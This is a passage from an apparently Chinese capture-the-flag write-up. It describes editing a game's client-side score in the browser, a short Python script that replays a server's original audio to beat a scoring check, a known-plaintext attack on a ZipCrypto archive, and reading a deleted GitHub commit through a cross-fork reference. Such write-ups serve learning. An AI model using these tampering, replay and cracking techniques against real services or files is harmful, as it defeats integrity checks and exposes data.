new_x = x_coords2[i] * 2 - x_coords[i]
new_y = y_coords2[i] * 2 - y_coords[i]
result_x.append(new_x)
result_y.append(new_y)
plot_coordinates(result_x, result_y)
except Exception as e:
print(f"错误: {e}")
吃豆人
F12 替代内容,修改 js 中上报的 score 值即可获得 flag
麦霸评分
将完整原录音重放提交即可
exp
import requests
base = "http://127.0.0.1:62188"
audio = requests.get(base+"/original.wav").content
# save
with open("recording.wav", "wb") as f:
f.write(audio)
resp = requests.post(base+"/compare-recording", files={"audio": open("recording.wav", "rb")}).json()
print(resp)
MiniForensicsII
接上文,获取到 lock.zip,压缩包内为 ZipCrypto Store,对 PNG 明文攻击获取压缩包内容,breadcrumb.txt 解 base64 提示来到 https://github.com/root-admin-user/what_do_you_wanna_find.git
通过查阅仓库 Fork Event 定位到 vfvfvf-jc 这个用户 fork 了仓库提交了 push 后删除。
根据 CFOR 特性(Cross Fork Object Reference),可以查看该提交内容
获取到 flag,完成